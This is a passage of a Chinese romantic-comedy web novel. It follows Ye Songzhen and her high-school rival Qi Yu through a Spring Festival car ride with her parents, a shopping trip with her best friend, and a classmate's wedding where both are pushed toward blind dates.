叶知秋笑容满面地走在前头,叶颂真和齐屿跟在后头,一起去停车点。 春节前夕,深夜的停车场车来车往,鸣笛声、吆喝声敲击着耳膜。 到了地方,一个中年男人从奥迪车上开门下来,正是叶颂真的父亲董从军。 叶知秋冲他使了一个眼色:“这是囡囡的高中同学,齐屿。正好跟我们一趟车回苏州。” 董从军打眼一瞧,这两人穿着一模一样的羽绒服,豁然开朗。 再看齐屿,他的羽绒服拉链不知怎么又敞开了,清华大学的校徽若隐若现。 董从军是中学物理老师,对优等生自然偏爱有加。他喜不自胜,连忙打开后备箱,对齐屿招招手:“来,箱子给我。” “不麻烦叔叔,我自己来就行。”齐屿一反常态,殷勤地把行李箱搬进后备箱。 叶颂真:“……” 齐屿怎么突然像换了一个人似的? 中邪了? 就在这时,什么东西啪的一声掉到了地上。 董从军捡起来一看,这是一张身份卡,上面有齐屿的照片,挂绳上还印着某头部互联网大厂的LOGO。 齐屿摸了摸兜,像是在找什么东西。 “你是不是在找这个?”董从军将挂绳缠了两圈,递了过去,“刚刚掉地上了。” “谢谢叔叔,”齐屿接过来,重新揣回兜里,“这是我的工牌。要是丢了,节后还得去公司找行政补办,可麻烦了。” 叶颂真好想翻白眼,但克制住了。 只不过……她的父母为什么笑得那么开心?嘴都要笑歪了。 他们三人站在一块,相谈甚欢,其乐融融。 齐屿不像她的高中同学,倒像他们的儿子。 叶颂真想起高中时期,父母偶尔跟她念叨起齐屿:“你们班的那个齐屿,成绩挺好。关键是发挥很稳定,不像你总是忽上忽下。你呀,要多向他学习和请教。” 叶颂真气得牙痒痒,撂下狠话:“你们要是喜欢齐屿,不如认他当儿子去,看他愿不愿意当你们的儿子。” “你这丫头,胡说八道些什么呢?”父母训斥道,“你再不好也是我们的闺女,他再好也不可能是我们的儿子。以后不要再说这种话。” 时隔多年,父母竟然还记得齐屿。 不会真想认他当儿子吧? 12.北京时间 Chapter12 叶颂真上了车,贴着后排的车门坐,恨不能离齐屿越远越好。 反观齐屿,正襟危坐,后背挺得笔直,难得一见的拘谨。 董从军啪地关上后备箱,回到驾驶座,一边系安全带一边问:“齐屿,你也回苏州市区?我把你送到哪儿呀?” 齐屿毕恭毕敬地说:“您把我搁哪儿都行,怎么方便怎么来。” “那怎么行?”董从军发动汽车,“必须给你送到家门口。” 齐屿道谢:“那就谢谢叔叔了,我家住在金鸡湖那一片。” 车子沿着指示牌的方向,离开拥挤的地下车库。出了车库,视野一下子开阔起来。 一辆辆汽车疾驰而过,一盏盏路灯快速移动。凌晨的公路上,皆是归心似箭的游子。 “时间过得真快,齐屿,你都工作了。”叶知秋发出感慨,“我们家叶颂真还在上学呢,今年秋天才毕业。” “工作之后,我才明白上学的好。我一直都很怀念上学的时光。”齐屿说,“工作吧,虽然挣得多点儿,但是压力也大,远不如上学那么轻松。” “齐屿,”董从军突然发问:“你在北京上班?” “是的。” “你怎么想去北京上班呢?” “我一直在北京上学。本来我也没打算留下,这不清华毕业能拿北京户口么?我就留在北京了。” 叶颂真闻言,哼笑一声,撇过头看窗外。 天空黑沉沉,没有一丝光亮,零星的几粒雨点打在车窗上,看来上海要下雨了。 “哟,北京户口那可不好拿的呀。”叶知秋夸赞道,“齐屿还是那么优秀。” “阿姨,您家叶颂真也很优秀。”齐屿看向叶颂真,“多伦多大学QS排名全球前三十,跟清华比起来,也差不多。” 叶颂真:“……” 这家伙果然查了多大的QS排名! 叶知秋笑意盎然,眼睛眯成线:“你在清华读的是什么专业?” 齐屿答:“人工智能。” “这个专业现在可了不得,香饽饽呀。”叶知秋说,“我看大家都在讨论,好多公司用裁员来应对AI冲击,你们有没有什么影响?” “这也说不准。”齐屿谦虚,“不过,公司给了我不少股票。万一裁员,股票肯定会应声大涨。裁员还能拿到不少的补偿,再找工作也不是什么难事。所以,我不是太担心。” 夫妻二人相视一笑,不约而同地点了点头。 叶颂真深呼吸一口气,忍不住提醒齐屿:“齐屿,你少说两句吧。外面下雨了。” “下雨怎么了?”齐屿问。 “下雨就会打雷,”叶颂真阴阳怪气,“我担心雷劈着你。” “谢谢关心。”齐屿说,“都说闺女是小棉袄,你果然贴心。” 叶颂真气得扭过头,不再搭理他。 董从军打着方向盘,开上高架桥:“北京好是好,就是太远。我们苏州的家长都不希望孩子离家太远,来回一趟太麻烦。” “其实也不麻烦,现在高铁很方便。我这个工作在哪儿上班都行,我最近也在考虑跳槽。”齐屿顿了顿,继续说道,“但是吧,离开北京,我的房子不太好处理。” 叶知秋眼睛一亮:“哟,齐屿都在北京买房啦?那可不便宜呀。” “刚买没多久,”齐屿微笑,“前些日子才搬的家。” “这两年苏州的房价跌了不少,”董从军又问,“北京怎么样?” “也跌。”齐屿补充说明,“老破小跌得多,我这儿还好。” 叶颂真坐不住了,生怕董从军再打听齐屿的房买在哪。 “爸,你别问了。”叶颂真打断他们的对话,“专心开车!” 董从军不说话了。 他踩着油门,哼着小曲,心情一路起飞。 叶知秋瞄着后视镜里的齐屿,接过话头:“齐屿长得蛮好,又这么优秀,真是了不得呀。应该有很多女孩子喜欢你吧?” “阿姨,这个真没有。”齐屿认真道,“学校里女生就不多,工作之后更是接触不到。不怕您笑话,我这么多年一直单身。” 叶知秋笑逐颜开:“哎呀,我们家叶颂真也一直单身。她忙学业、忙实习,没什么空交男朋友。我跟他爸都替她着急。” “哎哎,妈!”叶颂真纳闷,“前段时间你跟我爸还说不着急给我找对象。” 这才过了几天,怎么口风就变了? “现在不一样了呀。你看你,过年就二十六岁了,四舍五入奔三啦。” “我到今年六月份才满二十五周岁,怎么就奔三了?” “谁跟你讲周岁?我们一直都讲虚岁的。” “……” 叶颂真怀疑她妈今天也中邪了,怎么就突然翻脸不认账? 不会被齐屿给传染了吧? 深夜车流愈发稀少,车子很快就开到苏州市区。 齐屿坚持在某个路口下车,跟叶颂真一家道别:“谢谢叔叔阿姨,我这就走了。” 叶知秋热情地招呼着:“齐屿,你早点回去休息,改天来家里玩。” “哎,”齐屿频频点头,“好的。” 车子重新发动。 叶颂真瞅着后视镜,齐屿站在路口冲他们摆手。 她翻了一个白眼。 董从军慢悠悠地开车,评价道:“齐屿这个小伙子真不错。” “囡囡,我记得上学的时候,你跟齐屿的关系挺好吧?”叶知秋想起什么,“是不是还当过同桌?” “对,当过同桌,还天天吵架。”叶颂真没好气地说,“周围的同学受不了,跟班主任反映,说我们俩影响他们学习。班主任就把我跟他的位置调开了。” 车内沉默了一秒。 “那都是过去的事了,上学时候跟同学吵吵闹闹太正常了。”叶知秋说,“难得你们有缘,现在又都在北京。平时可以多走动走动,联络联络感情。” 董从军也赞同:“多跟优秀的人交流,学会向上社交。” “什么叫向上社交?”叶颂真问,“我比他差吗?” “哎呀,囡囡。”叶知秋安抚道,“你不用什么都跟齐屿比的呀,多交朋友总没什么坏处。” 叶颂真不吭声了。 同辈压力像山一样,压在每个人的心头——齐屿就是那座最高的山。 看样子,父母喜欢齐屿,喜欢得不得了,只恨齐屿不是他们的儿子。 ……真让人来火。 到家之后,叶颂真甩开行李箱,泄气般地趴到她的大床上。 父母为她铺好了干净的被褥,闻起来有一种阳光晒过的味道,像刚出锅的馒头一样暄乎。 “来,尝尝这个,”叶知秋拿出一碟苏式点心,“你爸爸今天特意去糕团铺给你买的,说你最爱吃。” 叶颂真吃着赤豆糕,心里舒服了不少。 算了,她大人有大量,不跟齐屿这种小人一般见识。 反正齐屿也当不上她爸妈的儿子。 /// 第二天,叶颂真睡到了日上三竿。 放假不睡觉,等于没放假。 起床之后,叶颂真简单地洗漱一番。 她一边刷牙一边看手机,梁丘羽发来消息:「我准备出门了,你也不用着急。那家餐厅得排队,我先去取号。」 她们之前约好,今天在苏州中心商场见面。 梁丘羽说那里新开了一家韩国烤肉店 ,味道不错,口碑也好。她必须做东,请叶颂真吃饭。 梁丘羽对苏州的吃喝玩乐了如指掌。 她幼儿园、小学、中学、大学都在苏州上学,毕业之后在苏州某事业单位的清闲科室上班,有编制,铁饭碗。堪称“江浙沪一等大孝女”。 现在只差再找一个苏州本地的男朋友,最好就住同一个小区。如此一来,她便可晋封“江浙沪特等大孝女”。 梁丘羽跟父母同住,吃喝不用她掏一分钱。按理说,她工作几年,应该攒了不少钱。 可是,她竟然一丁点儿积蓄都没有。她平时热衷于吃喝玩乐,赚点儿钱全都挥霍一空,实打实的月光一族。 有段时间,梁丘羽深刻自省,痛定思痛,决定改变现状、重启人生。 她要学英语、健身、理财。 结果呢? 学英语止步于abandon。 办的健身年卡一共只去了一两次,挂在闲鱼出二手,至今还没卖出去。 理财没有赚到一分钱,每天基金都绿得发光,几支股票拿了大半年还没有成功解套。 梁丘羽事后总结:“哎,还是吃喝玩乐好。别的都是假的,只有吃进肚子里的才是真的。” 叶颂真下了地铁,直奔餐厅。餐厅人气爆棚,等位区坐满了人。 梁丘羽翘着腿,正在喝茶、吃零食,旁边还特意留了一个空位。她瞥见叶颂真,立刻站起来挥手:“在这儿!在这儿!” 叶颂真挎着小包包,坐了下来。 “呀,有段时间没见,你瘦了好多,穿着羽绒服都显瘦。”梁丘羽上上下下打量着她,“你看这小细腿,跟双筷子似的……哎,我要是有你这么瘦就好了。” “你要是去加拿大你也瘦。”叶颂真整理了一下头发,“本来就没什么好吃的东西,暴雪一来,超市、餐厅都关门,只能在家饿着,饿多了人就瘦了。” 梁丘羽挽着她的胳膊,笑嘻嘻地说:“那你这趟回来,我可得帮你好好补补,省得你爸妈心疼你。” 闺蜜闲聊,话题自然而然来到某人身上。 叶颂真吐槽:“齐屿那个显眼包,生怕别人不知道他在清华上过学,竟然穿着清华的卫衣招摇过市!” “昨天夜里,我爸妈好心载他一程。他跟我爸妈聊天,明里暗里说他在大厂工作、北京有房有户口……”叶颂真不由地捏紧拳头,“你是没看见他那副显摆的嘴脸,我真想邦邦给他两拳。” “这也太过分了吧?”梁丘羽也跟着义愤填膺,“你说这人怎么能这样?上学的时候就成天跟你比这比那,上班了还不消停。他无非是想告诉你爸妈,他这些年混得比你好得多!” “就是就是!”叶颂真附和着,一想不对,又呸了一声,“他怎么就混得比我好了?” 梁丘羽赶忙给叶颂真端茶:“哎呀,这年头混得好有什么用,有本事就比谁活得长。大厂上班得多累啊,有钱挣没命花!” 几口清茶下肚,叶颂真总算消了消气。 “不过,话又说回来……”梁丘羽嗑着瓜子,“齐屿该不会是我们这一届混得最好的吧?以他目前的资产来看,A8肯定是有了,就是不知道有没有A9呢。” “哪个A9像他这样?”叶颂真从梁丘羽的手心抓来一把瓜子,“出门还坐高铁二等座!” “哎呀,骑共享单车上酒吧,该省省,该花花嘛。商务座又不比二等座开得快、到得早。”梁丘羽吐着瓜子皮,“你说齐屿现在的身家大概是什么水平?有没有A8.5?” 二人正要就这个问题进行深入探讨,餐厅的广播突然响了:“A8A9请您用餐啦!” 梁丘羽看了一眼等位小票,猛地跳起,对着服务员大喊:“我是A9!A9!” 13.北京时间 Chapter13 这家韩国烤肉店果然名不虚传。 熟成五花肉上了烤盘,焦香流油。搭配清爽解腻的山葵酱,一口入魂。 特色的山葱叶更是一绝,包裹着鲜嫩的牛肋条,在唇齿之间留下一股椰香。 叶颂真跟梁丘羽大快朵颐,吃了足足六盘烤肉,这才心满意足地擦擦嘴,抚着肚子离开餐厅。 刚吃完饭,最适合逛街消食。 商场在人流最密集的区域放置了巨型的春节布景,情侣、孩子们纷纷在此打卡。灯笼、剪纸、鲜花琳琅满目,节日氛围浓郁。 路过一家羽绒服专卖店,叶颂真提议进去逛逛。 梁丘羽看了一眼她身上的加拿大鹅,好奇地问:“你要买新羽绒服?你这件加拿大鹅不是挺好的吗?” “本来是挺好的……”叶颂真说,“自打齐屿跟我买了一件一模一样的加拿大鹅,我的加拿大鹅跟报废了也没两样,我都不想穿了。” “为什么?” “容易让人误会我们两人是情侣!” “嗐,你多虑了吧。”梁丘羽觉得这事无关紧要,“你跟齐屿能见几次面?再说,等你回加拿大,想撞衫也不可能了。” “反正我想买新羽绒服,”叶颂真拉着她就往店里走,“你陪我逛逛。” 店员主动推荐了几款羽绒服:“这几款卖得都特别好,您可以先试一试。” 叶颂真挑了一件天空蓝的羽绒服走进试衣间,上身效果还可以。这个颜色在千篇一律的黑色里格外出挑,衬得她年轻、活泼。 她掀开吊牌,看了一眼价格,立刻震惊。 现在的国产羽绒服都那么贵了?跟加拿大鹅相比也不遑多让。这么一看,加拿大鹅都快成性价比之选了。 叶颂真犹犹豫豫地走出试衣间。 店员露出惊喜的神色,言谈之间尽是溢美之词:“哎呀,这也太好看了。这个颜色挑人,但凡皮肤黑一点儿都穿不了,您穿着刚刚好!” 叶颂真跟梁丘羽交换了一个眼神。 梁丘羽接收到信号,啧了一声,眉头皱起来:“这个颜色是不是不太耐脏啊?” 她上手摸了摸,眉头皱得更紧了:“这个料子也不行,应该不是三防的吧?稍微刮一下就得跑绒。对了,这里面充的是羽绒吗?不会是聚酯纤维吧?” 店员讪笑道:“咱们的用料都在吊牌上写着呢,明码实价,绝不糊弄人。” 梁丘羽装模作样地看了一眼吊牌,顿时鄙夷:“这件羽绒服要4999?太贵了吧。” 店员连忙说:“这是标签价,咱们店里现在新春活动,打八折。” “八折也得四千块!”梁丘羽催促叶颂真,“你先脱了吧,咱们再去别家看看。” 叶颂真脱下羽绒服就准备走,店员急了:“哎哎,您想要就先说个价呗,我跟店长申请一下,看看能不能给你们特批走个优惠——” …… 这么一通默契的操作下来,叶颂真以半价买下这件羽绒服。 “哎呦,现在的小姑娘不得了,砍价都拿屠龙刀。”店员一边打着单据一边小声叮嘱,“这个价格你们千万别往外说哦,不然我们店要开不下去了。” 一旁还有顾客在试衣。 叶颂真得了便宜,自然心照不宣地应承着:“放心,我们肯定不跟别人讲。” 好闺蜜拎上购物袋,正要出门,迎面碰上一人。 那人停下脚步:“诶,梁丘羽?!” 梁丘羽定睛一瞧,惊叫出声:“余峰?!你也来逛街?” 余峰这个名字,叶颂真耳熟。 她回想片刻,思绪忽然明朗——余峰不正是她的班长吗? 当年,班里一共有三个人竞选班长,叶颂真、齐屿和余峰。 叶颂真和齐屿争强斗胜,敲锣打鼓,扯旗放炮。一个给同学发零食,一个扬言要请全班吃饭。余峰却默默无闻,无人在意。 结果,叶颂真和齐屿因贿选被班主任取消竞选资格,余峰不费吹灰之力就当上了班长。 俗话说:“鹬蚌相争,渔翁得利。” 叶颂真、齐屿相争,余峰得利。 这件事情充分说明,有的时候成功和努力没有半毛钱关系。 对手犯蠢,你躺着也能成功。 叶颂真没有当成班长,连着几天闷闷不乐、郁郁寡欢。 余峰古道热肠,特意来开解她:“叶颂真,我看你这几天心情不太好。你有什么不高兴、不如意的事情都可以跟我讲,我会帮助你。因为,我现在是咱们班的班长。” 叶颂真气得一个字也说不出来。 如果说这番话的人是齐屿,那他一定没安好心。但是,余峰是真的在关心她。余峰人不坏,就是没啥眼力见儿,俗称缺心眼儿。 不过,平心而论,余峰是一个好班长。 高中三年,他充分贯彻“当官不为民做主,不如回家卖红薯”的理念,为班里做了不少实事。许多事情他都亲力亲为,值日生忘记擦黑板,他会主动帮忙。饮水机要换水,他也一马当先。 班里大事小事,事无巨细地安排妥当,获得老师、同学的一致好评。 余峰先是跟梁丘羽打了招呼,走近了才发现她身旁的叶颂真。 “哎,你是、你是……”余峰竖起一根手指头,激动不已,“叶颂真?!” 叶颂真尴尬地笑笑,说了一句:“班长,是我。” 遥想那年,叶颂真高考失利,一气之下删掉了齐屿的联系方式。 没过多久,她就去了加拿大,国内的手机号没再保留,过去的社交账号也停止使用。 那时候的她,憋着一股子劲,势要跟过去切割得干干净净。 这些年,除了梁丘羽,她几乎没跟其他同学产生过联系,别人也无从得知她的近况。 后来想想,她太冲动,也太好面子。 高考失利的人比比皆是,跨过那道坎也绝非易事。 但是,她不是别人生活里的主角,没有那么多人会在意她的好或不好,最在意的人只有她自己。 一番简单的交谈之后,叶颂真了解到,余峰现在是苏州某市直单位的公务员,年纪轻轻就提了副科,前途一片光明。 梁丘羽和余峰的单位有业务上的联络,他们是同校同届的同学,一来一回也就熟悉了起来。 “班长,”叶颂真问,“你怎么在这儿?” 余峰笑容爽朗:“我陪我媳妇儿来逛街,她在里头试衣服呢。” 叶颂真惊讶:“班长,你都结婚了?” “上个月刚领了证,婚礼还没办呢。”余峰摸了摸后脑勺,“难得碰见老同学,你过几天要不要来参加我的婚礼?放心,我不收礼金,就希望人多热闹热闹,给我撑撑场面。” “哪天?在哪儿?” “大年初三,就在这附近的酒店。” “那天我没空,”梁丘羽遗憾,“我 要去昆山看望外公外婆。” 叶颂真倒是有空。她家里亲戚不多,每年春节也就忙个两三天,剩下的时间都得闲。 “还有谁?有我认识的人吗?” “哦,应该有那么几个。牛咏乐、霍成阳、温沈静……都是老同学。” 叶颂真打听道:“齐屿去吗?” “齐屿?”余峰摆了摆手,“齐屿他不来。” “你邀请他了?” “我没邀请他。他这些年都没怎么露过面,从来不参加我们组织的同学聚会。我以前问过他几次,他说他过年不回苏州,就算了。” 余峰不傻。 问了几次,齐屿都不来,他也就不再问了。 叶颂真纳闷。 不想参加同学聚会,随便找个什么理由搪塞过去就好了。 过年不回苏州?这个借口是不是太蹩脚了? 转念一想,齐屿这人真奇怪。 按理说,像他这种混得有头有脸的人物,一般最热衷于参加同学聚会。富贵岂能不还乡? 难道说,他已经自负到一定境界,早就看不上过去的老同学了? 叶颂真想不通,也不再想。 齐屿他本来就不是正常人。 余峰加上叶颂真的联系方式,跟她有说有笑:“那咱们可说好了,到时候你一定得过来。” 叶颂真盛情难却:“行。” 道别之后,余峰走进店面,他的老婆还在试衣间里。 他找了一处沙发,坐下看手机。真是邪门了,他竟然收到了齐屿的消息。 齐屿:「班长,今年你有没有组织什么同学聚会活动?」 余峰:「没有。今年没空,我过两天要办婚礼。」 齐屿也不说要来参加,只回了一句:「哦。」 话到这里,余峰只能顺势邀约:「婚礼上倒是有几个老同学,你要不要过来?我不收礼金。」 齐屿:「都有谁?」 余峰报了几个名字,又说:「对了,还有叶颂真。」 齐屿:「她也去?」 余峰:「今天我出门逛街,刚好碰见她,她说她要来。」 余峰:「我知道你跟她关系一直不太好。不过,这都过去多少年了,那些鸡毛蒜皮的恩怨就放下吧,没必要。」 齐屿:「班长,我要去参加婚礼。」 余峰欣慰。 齐屿还真给他面子,为了参加他的婚礼,居然愿意跟老冤家冰释前嫌。 余峰正想着要不要跟叶颂真说一声,忽然听见:“老公,你帮我看看这件衣服怎么样?”他忙不迭地放下手机过去,把这事也忘了个一干二净。 /// 除夕夜,叶颂真吃完年夜饭,就跟父母窝在家里看春晚。 小品时间,大家低头看手机,各忙各的。 叶颂真收到一条拜年短信:「新春大吉,万象更新。新的一年,阖家幸福。愿如梁上燕,岁岁长相见。」 再一看发件人——齐屿。 叶颂真无语。这一看就是抄来的模板、群发的短信,一点儿诚意都没有。 小品抖了一个烂大街的包袱,叶颂真笑不出来,往嘴里塞一颗砂糖橘,顺手回复:「黄鼠狼给鸡拜年,没安好心。」 手机又叮了一声。 齐屿:「大过年的,别那么说你自己。」 叶颂真:“……” 真想把手伸进屏幕,扇他一巴掌! 14.北京时间 Chapter14 大年初三傍晚。 叶颂真准备出门,参加余峰的婚礼。 叶知秋包了一个红包,递给叶颂真:“这个红包你带给你的班长,祝他新婚快乐。一会儿我让你爸爸开车送你去酒店。” 叶颂真对着镜子刷着睫毛膏:“妈,人家班长说了,不收礼金。” 叶知秋把红包塞进叶颂真的随身包里,笑着说:“不收礼金你也带着。万一别人都带,就你没带,这不坏事了?” “妈,”叶颂真注意到叶知秋的笑脸,“你今天怎么那么高兴?” “囡囡,我为你高兴。” “为我?” 叶知秋像以前一样,为女儿梳着头发。她娓娓道来:“当初,你高考不理想,把自己关在家里一个月,不肯见同学和朋友。” “我跟你爸爸成天提心吊胆,怕你想不开。”叶知秋叹了一口气,抚摸着女儿的发梢,继续说,“现在你愿意出去见高中同学,说明你已经彻底放下,走出来了。这是非常大的进步,所以妈妈为你高兴。” 叶颂真有些不好意思:“那都是很久以前的事情了……” 可是,这轻描淡写的一句话,背后是整个十八岁的潮湿雨季。 高考失利对那时的叶颂真而言,无疑是塌天的大事。 她从一朵未经风雨的娇花,一下子缩成了阴郁的小蘑菇。她躲在暗无天日的角落里,独自咀嚼着这份苦楚。 去了加拿大之后,生活像是按下了重启键,她又可以昂首挺胸地迈步走了。 现在想想,水满则溢,月盈则亏。人生最忌圆满,挫折也未必全是坏事。出国多年,她一个人应对陌生的环境,迅速地成长、独立,再也没有被任何困难打倒。 叶知秋替女儿夹上两只蝴蝶发卡:“行了,去吧。跟高中同学好好叙叙旧,不要有顾忌。” “我跟那些同学无冤无仇,”叶颂真穿上新买的羽绒服,“当然不会有顾忌。” 除了齐屿那个丧尽天良的狗东西……她默默腹诽。 /// 董从军开车把女儿送到酒店门口,不忘叮嘱:“等晚宴散了,你给爸爸打电话,我再过来接你。” “知道了。”叶颂真关上车门,前往酒店大堂。 大堂里有好几对新人的迎宾海报,她指着余峰的照片,向服务员问路。 到了海棠厅的门口,忽又萌生几分怯意。她深吸一口气,鼓足勇气踏进去。 宴会厅灯火璀璨,煌煌如昼。纱幔自穹顶上垂落,弧形拱门和红毯两侧布满鲜花,舞台上雾气缭绕。 余峰正在待客。他穿了一身白色西装,整个人的气质很不一样。叶颂真感慨,原来大家已经是大人了。 余峰见到叶颂真,满脸笑意:“你可算来了!我还担心你不来呢。” “我答应了,就一定会来。班长,新婚快乐!”叶颂真环顾四周,“我应该坐哪儿?” 余峰指了指靠近舞台的那一桌:“我的同学都坐那一桌。” 叶颂真穿过人潮,来到那一桌。 八个冷碟均匀地分布在电动转盘上,没人动筷子。餐桌中央摆着桌签,上面写着“新郎同学”。 桌上有几个熟面孔,余峰说的那几人都在。最先认出她的人是牛咏乐,曾经的体育委员。 “今天稀客真不少。”牛咏乐说,“刚刚班长说叶颂真要来,我还不信。还得是班长,面子大。” 大家闻声回头,叶颂真这才发现,齐屿也在。 他穿着加拿大鹅,独自坐在两张空椅子的中间。周身自带某种气场,隔绝旁人。又或者说,其他人都得避一避他的锋芒。 余峰不是说他不来吗? 叶颂真愣了一秒,这才跟大家打招呼:“我回来的时间不多。今年也是巧,刚好有空过来参加班长的婚礼。” 曾经的生活委员霍成阳笑道:“叶颂真,你比以前漂亮多了。走在路上,我绝对认不出来。” 温沈静默默地看了叶颂真一眼,没说话,只跟她点头示意。 一番寒暄后,叶颂真要入座。 别的位置都有人,她只能坐到齐屿的右手边。 齐屿挪了一下椅子,不知是在给她腾地方,还是想离她远点儿。 叶颂真心想,幸亏她有先见之明,买了一件新羽绒服。否则,她又要跟齐屿撞衫了。今天那么多老同学在场,那误会可就大了。 也不知道齐屿怎么想的? 叶颂真扫了齐屿一眼,忍不住戏谑:“齐屿,你这加拿大鹅是租来的呀,成天穿身上?” 齐屿也瞄了她一眼,应付自如:“怎么?你的加拿大鹅租期到了,让人给收走了?” 时隔多年的唇枪舌剑,令众人屏息凝神,洗耳恭听。 他们俩吵架,跟相声一样有趣。否则,大家当年也不至于为了听他们俩吵架,耽误学习。 叶颂真微微一笑,告诫自己,今天是班长的婚礼,她不能跟齐屿一般见识。 她必须克制、收敛,不能让老同学看笑话。 叶颂真转过身去跟别的同学说话。 齐屿把玩着手机,眼角的余光瞥着她。 她头发上的蝴蝶发卡随着她的动作一颤一颤,振翅欲飞。新买的羽绒服蓬蓬软软,像刚出炉的法式小面包。 他忽地扯出一丝笑,端起水杯,抿了一口茶。 灯光一暗,婚礼开场。 司仪向现场来宾讲述这对新人的爱情故事。新娘叫奚凡,是余峰的大学同学。二人经历六年的爱情长跑,终于修成正果,也不失为一桩佳话。 叶颂真由衷地为班长感到高兴。 司仪讲到动情之处,她不禁流露出幸福、憧憬的神态。 “下面让我们有请新娘入场——” 叶颂真切换视线,突然对上齐屿的目光。他的眼睛黑漆漆,映着她的倒影。 而她,还没来得及调整表情。 “别那么看我,”齐屿冷哼,“不知道的还以为你想跟我结婚。” “真不要脸,”叶颂真瞪他,“谁看你了?” 齐屿垂眸看她:“眼睛瞪那么大,还说没看?” 叶颂真偷偷在桌子底下踩了他一脚。 “还踩我?” “谁踩你了?谁看见了?你有证人吗?” “除了你还有谁?我左边又没人。” “那就是没有证人。” “……” 新娘入场,所有人的注意力都在红毯上,没人注意到这场小小的闹剧。 仪式结束,正式开席。叶颂真一边吃饭一边跟同学们聊天,了解大家的近况。有 人工作,有人跟她一样还在上学,有人单身,有人也快结婚了。 宴席过半,余峰带着新娘来敬酒。 这是最后一桌,余峰也不急,两杯清酒下肚,他问叶颂真:“你之后打算回国还是留在加拿大?” 叶颂真跟余峰碰杯:“可能回国,也可能留在加拿大,主要还是看最终能拿到什么Offer吧。” “你要是留在加拿大,那刚好!”余峰放下酒杯,挤到叶颂真和齐屿的中间,兴冲冲地说,“我有一个表哥也在加拿大,可以介绍给你认识。” 叶颂真眨了眨眼:“认识什么?” “谈对象呗,你不是单身么?”余峰热情洋溢,“我这个表哥,也就比你大两三岁,个人条件没得挑。UBC(英属哥伦比亚大学)商科毕业,在温哥华工作,年入25万加刀。” 叶颂真一听,眼睛里顿时迸发出清澈的光芒。 同为加拿大商科生,她太了解这个薪资水平的含金量了,妥妥的行业精英级别。 这要是能找对方内推一下,就算她挣不到25万加刀,至少也能挣到15万加刀吧? “哇,他能挣这么多?”叶颂真来了兴趣,“那我必须得跟他认识一下。” 齐屿冷不丁地插话:“这很多吗?” “这不多吗?”余峰反问。 “没我多啊。”齐屿不屑。 叶颂真:“……” 这里有0人问他的收入。 这家伙装逼上瘾了吧? 生怕别人不知道他赚得多? 要不要把个税收入的截图贴在脑门上? 叶颂真:“谁问了?” 余峰:“我没问。” 叶颂真转头,问其他人:“你们问了吗?” 大家纷纷摇头。 叶颂真还没来得及嘲讽,齐屿便开了口:“班长,新郎官是不是比较闲?怎么还有空给人介绍对象?” “齐屿,你没当过新郎官,不懂。”余峰说,“我忙了一天了,也就这会儿才有空。” 齐屿:“……” 对牛弹琴。 齐屿腾地一下站起来,离席。 “齐屿,”余峰问,“你这就要走了?” “去趟洗手间。”齐屿面无表情地离开。 余峰有点儿摸不着头脑,便问大家:“齐屿是不是生气了?我得罪他了?” “不会吧?”霍成阳说,“你给叶颂真介绍对象,他生什么气?” “是啊,班长。”牛咏乐附和着,“你多虑了,齐屿没生气。” 温沈静一言不发地吃着菜,兴致缺缺的样子。 叶颂真心想,她刚刚下了齐屿的面子,他不高兴了? 不会吧?这种事情她也没少干,齐屿还不至于玩不起。 余峰想到什么,猛地一拍脑门:“哎呦,我真是糊涂了。我知道齐屿为什么不高兴了。” 余峰指了指叶颂真:“你单身,他也单身。我给你介绍对象,他不高兴。这不是很明显吗?” 叶颂真惊讶地张着嘴唇。 这、这这不会吧?难道…… 余峰冲着叶颂真郑重地点了一下头:“我给你介绍对象,却没给他介绍对象。不患寡而患不均,他不高兴也正常。正好我还有一个表姐,等他回来就给他介绍!” 15.北京时间 Chapter 15 齐屿打开水龙头,掬起一捧水,洗脸。 盥洗台的灯光偏冷色,他的皮肤泛着些许苍白。水沿着下颌线往下滴,沁凉、冷冽。 他用擦手纸揩去多余的水珠。纸被揉成一团,掷进垃圾桶。 收拾好一切,齐屿重返宴会厅。 一桌子同学大眼瞪小眼地瞅着他,余峰拉开椅子,恭迎他入座:“来,快坐。” 余峰坐到齐屿的左手边,又斟了一杯酒:“齐屿,这杯酒,我单独敬你。” 余峰捧起酒杯,叹了一声:“我刚刚只考虑到叶颂真单身,忘了你也单身。” 齐屿握着筷子,指尖一动未动,眼神微微闪烁。 他稍稍偏头,直视余峰,等着他继续往下说。 余峰将酒一饮而尽,这才问道:“齐屿,你是不是也想找女朋友?” 齐屿迟疑了一两秒,轻轻嗯了一声。 “那真是太巧了!”余峰说,“刚好我有一个表姐在北京,你要不要认识一下?” “表姐?”齐屿啪地放下筷子。 “虽然我表姐比你大三岁,但是——”余峰强调,“人家在部委上班,优秀得不得了。俗话说,女大三,抱金砖。只要你不介意,年龄就不是问题。” “大三岁……”齐屿撇了一下嘴角,“那我不是被占便宜了?” 余峰尴尬地摸了一下鼻子:“你要是介意,那就没办法了。” 齐屿喝了一口水,还没来得及说话,余峰拍了一下手掌:“对了!我老婆有一个表妹,也在北京。她比你小三岁,还在上学。你觉得怎么样?” 齐屿撂下水杯:“那我不是占她便宜了?” “占便宜还不好?” “我不爱占人便宜。” “……” 好吧,他倒也不双标。 余峰分析:“那你是想找同龄人了?” 齐屿点头:“同龄人最好,谁也别占谁的便宜。” “同龄人?”牛咏乐凑了过来,“我有一个表妹,跟你同年。她是冬至那天出生的。” “冬至?”叶颂真忽然抬头,含糊着说,“那不是跟齐屿一天生日吗?” 齐屿心下一动,看了过去。 叶颂真在吃椰蓉小方,嘴唇上还沾着一星半点的白色粉末。 “同年同月同日生!”牛咏乐鼓掌,“这下谁也占不到谁的便宜了。” 叶颂真咬着筷子,思索着:“虽然同年同月同日生很有缘分,但是我记得齐屿说过,择偶坚决不能放低对学历的要求。” 齐屿同意:“是这样。” 牛咏乐大喜过望:“那更好了!我表妹可是北大毕业,跟齐屿绝配。” “北大?”齐屿皱眉,“我不喜欢北大。” “北大还不好?” “北大跟世界一流大学还存在一定距离。” “距离很大吗?” “一两公里吧。” “……” “哦,我懂了!你是不是想找清华的校友啊?”余峰恍然大悟,“这样也好,更有共同话题。” “诶,我这里有一个合适的人选!”霍成阳拍案而起,“我表妹,清华毕业,跟你也是同龄人。” 齐屿:“……” 齐屿:“你们哪儿来那么多单身的表妹?” 不仅如此,还捅了清华北大的窝。 这是苏州,不是海淀! 现在是婚礼,不是校友会! 一直没有参与话题的温沈静,淡淡地说了一句:“这很正常。现在单身优质女性很多,单身优质男性没几个。” 余峰纳闷:“清华毕业也不行吗?那你想找什么样的?” 